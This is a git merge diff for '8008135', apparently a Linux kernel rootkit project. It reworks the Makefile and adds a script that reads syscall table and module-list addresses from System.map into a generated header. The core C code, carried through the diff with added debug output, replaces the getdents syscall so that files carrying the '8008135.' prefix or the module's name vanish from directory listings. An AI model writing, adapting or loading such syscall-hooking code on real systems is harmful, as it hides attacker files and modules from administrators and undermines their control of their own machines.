Merge branch 'dev_vlr'

Merge is necessary due to greater changes in the project infrastructure

.gitignore

@@ -1,6 +1,8 @@
 sysgen.h
 *.anjuta*
-
+*.*project
+*.settings
+*.ur-safe
 *.mod.*
 8008135
 *.out

8008135.anjuta

@@ -1,37 +0,0 @@
-<?xml version="1.0"?>
-<anjuta>
-	<plugin name="GBF Project Manager"
-		url="http://anjuta.org/plugins/"
-		mandatory="yes">
-		<require group="Anjuta Plugin"
-		 attribute="Interfaces"
-		 value="IAnjutaProjectManager"/>
-	</plugin>
-	<plugin name="Makefile Project Backend"
-            url="http://anjuta.org/plugins/"
-            mandatory="yes">
-		<require group="Anjuta Plugin"
-                 attribute="Interfaces"
-                 value="IAnjutaProjectBackend"/>
-		<require group="Project"
-                 attribute="Supported-Project-Types"
-                 value="make"/>
-	</plugin>
-	<plugin name="Symbol Browser"
-            url="http://anjuta.org/plugins/"
-            mandatory="yes">
-                <require group="Anjuta Plugin"
-                 attribute="Interfaces"
-                 value="IAnjutaSymbolManager"/>
-	</plugin>
-	<plugin name="Make Build System"
-            url="http://anjuta.org/plugins/"
-            mandatory="yes">
-		<require group="Anjuta Plugin"
-                 attribute="Interfaces"
-                 value="IAnjutaBuildable"/>
-		<require group="Build"
-                 attribute="Supported-Build-Types"
-                 value="make"/>
-	</plugin>
-</anjuta>

Makefile

@@ -1,6 +1,38 @@
-obj-m += 8008135.o
+# Module name
-modules: 
+MNAME := 8008135
-		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-clean:
-		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
 
+# Build
+MODULEDIR	:= /lib/modules/$(shell uname -r)
+BUILDDIR	:= $(MODULEDIR)/build
+KERNELDIR 	:= $(MODULEDIR)/kernel
+
+# Source files
+SRCS_S 		:= src
+LIBS_S 		:= src/libs
+INCL_S 		:= src/include
+
+# Header files
+SRCS_H		:= $(PWD)/$(SRCS_S)/headers
+LIBS_H		:= $(PWD)/$(LIBS_S)/headers
+INCL_H		:= $(PWD)/$(INCL_S)/headers
+
+obj-m += $(MNAME).o
+# Core
+$(MNAME)-y 	+= src/$(MNAME).o
+
+# Includes for header files etc
+ccflags-y	:= -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
+
+all:
+	$(shell $(SRCS_S)/create_sysgen.sh)
+	$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
+
+load:
+	insmod $(MNAME).ko
+	
+unload:
+	rmmod $(MNAME)
+	
+clean:
+	-rm $(SRCS_H)/sysgen.h
+	$(MAKE) -C $(BUILDDIR) M=$(PWD) clean	

create_sysgen.sh

@@ -1,14 +0,0 @@
-#!/bin/bash
-smap="/boot/System.map-$(uname -r)"
-
-echo -e "#pragma once" > ./sysgen.h
-echo -e "#include <linux/fs.h>" >> ./sysgen.h
-
-symbline=$(cat $smap | grep '\Wsys_call_table$')
-set $symbline
-echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h
-
-procline=$(cat $smap | grep '\Wproc_modules_operations$')
-set $procline
-
-echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> ./sysgen.h

src/8008135.c

@@ -17,50 +17,9 @@
  * with this program.  If not, see <http://www.gnu.org/licenses/>.
  */
 
-/****  Includes  ***************************************************************
+/**** includes *****************************************************************
 *******************************************************************************/
-#include <linux/module.h>
+#include "8008135.h"
-#include <linux/kernel.h>
-#include <linux/kallsyms.h>
-#include <asm/special_insns.h>
-#include <linux/string.h>
-#include <linux/fs.h>
-#include "sysgen.h"
-
-
-/****  Defines *****************************************************************
-*******************************************************************************/
-
-#define GETDENTS_SYSCALL_NUM	78
-#define WRITE_PROTECT_FLAG		(1<<16)
-
-#define HIDE_PREFIX				"8008135."
-#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX) - 1)
-
-#define MODULE_NAME				"8008135"
-#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)
-
-/****  Modinfo  ****************************************************************
-*******************************************************************************/
-
-MODULE_LICENSE("GPLv3");             
-MODULE_AUTHOR("JanKoernerEnterprises");
-MODULE_DESCRIPTION("8008135");
-MODULE_VERSION("0.1");
-
-/****  type  *******************************************************************
-*******************************************************************************/
-struct linux_dirent {
-	unsigned long	d_ino;
-	unsigned long	d_off;
-	unsigned short	d_reclen;  // d_reclen is the way to tell the length of this entry
-	char		    d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
-};
-
-typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, 
-                                          struct linux_dirent __user *dirent, 
-                                          unsigned int count);
-
 /****  var  ********************************************************************
 *******************************************************************************/
 
@@ -72,8 +31,8 @@ sys_getdents_t sys_getdents_orig = NULL;
 *    PARAMETERS:  -
 *       RETURNS:  -
 *******************************************************************************/
-asmlinkage long sys_getdents_new(unsigned int fd, 
+asmlinkage long sys_getdents_new(unsigned int fd,
-                                 struct linux_dirent __user *dirent, 
+                                 struct linux_dirent __user *dirent,
                                  unsigned int count) {
 	int boff;
 	struct linux_dirent* ent;
@@ -85,7 +44,7 @@ asmlinkage long sys_getdents_new(unsigned int fd,
 	if (ret <= 0) {
 		return ret;
 	}
-	
+
 	dbuf = (char*)dirent;
 
 	// go through the entries, looking for one that has our prefix
@@ -96,12 +55,25 @@ asmlinkage long sys_getdents_new(unsigned int fd,
 		// if it has hide prefix or module name anywhere, hide it
 		if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
 			          || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
-			
+#if defined DEBUG
+			printk("\n hide prefix or mod name contained!\n");
+			printk("\n ret %ld\n ", ret);
+			printk("\n dbuf %d\n" , dbuf);
+			printk("\n");
+			printk(ent->d_name);
+#endif
 			// remove this entry by copying everything after it forward
 			// and adjust the length reported
-			memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, 
+#if defined DEBUG
-			       ret - (boff + ent->d_reclen));			
+			printk("\n reclen %u \n", ent->d_reclen);
+#endif
+			memcpy(dbuf + boff,
+				   dbuf + boff + ent->d_reclen,
+			       ret - (boff + ent->d_reclen));
 			ret -= ent->d_reclen;
+#if defined DEBUG
+			printk("\n ret after change %ld\n ", ret);
+#endif
 		} else {
 			// on to the next entry
 			boff += ent->d_reclen;
@@ -155,7 +127,6 @@ static void __exit exit_8008135(void) {
 	printk(KERN_INFO "Old syscall back\n");
 }
 
-
 // Setting pointers to init-/exit-functions 
 module_init(init_8008135);
-module_exit(exit_8008135);
+module_exit(exit_8008135);

src/create_sysgen.sh

@@ -0,0 +1,19 @@
+#!/usr/bin/env bash
+SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
+SRCS_H="$SCRIPTPATH""/headers"
+SGENH="$SRCS_H""/sysgen.h"
+
+smap="/boot/System.map-$(uname -r)"
+
+echo -e "#pragma once" > "$SGENH"
+echo -e "#include <linux/fs.h>" >> "$SGENH"
+
+symbline=$(cat $smap | grep '\Wsys_call_table$')
+set $symbline
+[ -z "$symbline" ] && echo "No SysCall Table Value from System.map found" && exit 2;
+echo -e "void** sys_call_table = (void**)0x$1;" >> "$SGENH"
+
+procline=$(cat $smap | grep '\Wproc_modules_operations$')
+set $procline
+
+echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> "$SGENH"

src/headers/8008135.h

@@ -0,0 +1,66 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+#ifndef SRC_HEADERS_8008135_H
+#define SRC_HEADERS_8008135_H
+/****  Includes  ***************************************************************
+*******************************************************************************/
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/kallsyms.h>
+#include <asm/special_insns.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+#include "sysgen.h"
+
+
+/****  Defines *****************************************************************
+*******************************************************************************/
+
+#define GETDENTS_SYSCALL_NUM	78
+#define WRITE_PROTECT_FLAG		(1<<16)
+
+#define HIDE_PREFIX				"8008135."
+#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX) - 1)
+
+#define MODULE_NAME				"8008135"
+#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)
+
+/****  Modinfo  ****************************************************************
+*******************************************************************************/
+
+MODULE_LICENSE("GPLv3");
+MODULE_AUTHOR("JanKoernerEnterprises");
+MODULE_DESCRIPTION("8008135");
+MODULE_VERSION("0.1");
+
+/****  type  *******************************************************************
+*******************************************************************************/
+struct linux_dirent {
+	unsigned long	d_ino;
+	unsigned long	d_off;
+	unsigned short	d_reclen;  // d_reclen is the way to tell the length of this entry
+	char		    d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
+};
+
+typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
+                                          struct linux_dirent __user *dirent,
+                                          unsigned int count);
+
+
+#endif /* SRC_HEADERS_8008135_H */

src/include/headers/utils.h

@@ -0,0 +1,43 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/****  Debugging ***************************************************************
+*******************************************************************************/
+
+#ifndef SRC_INCLUDE__HEADERS_UTILS_H_
+#define SRC_INCLUDE_HEADERS_UTILS_H_
+#define DEBUG_ENABLED 1
+
+/****  Debugging ***************************************************************
+*******************************************************************************/
+
+/* variadic macro for debug messages */
+#define debug(str, ...) 					\
+if (DEBUG_ENABLED) {			 			\
+	pr_info("[ 8008135 ] [ %s ] " str "\n", 		\
+		__func__, ##__VA_ARGS__); 			\
+}
+
+#define alert(str, ...) 					\
+if (DEBUG_ENABLED) { 						\
+	pr_warn("[ 8008135 ] [ %s ] " str "\n", 		\
+		__func__, ##__VA_ARGS__); 			\
+}
+
+#endif /* SRC_INCLUDE_HEADERS_UTILS_H_ */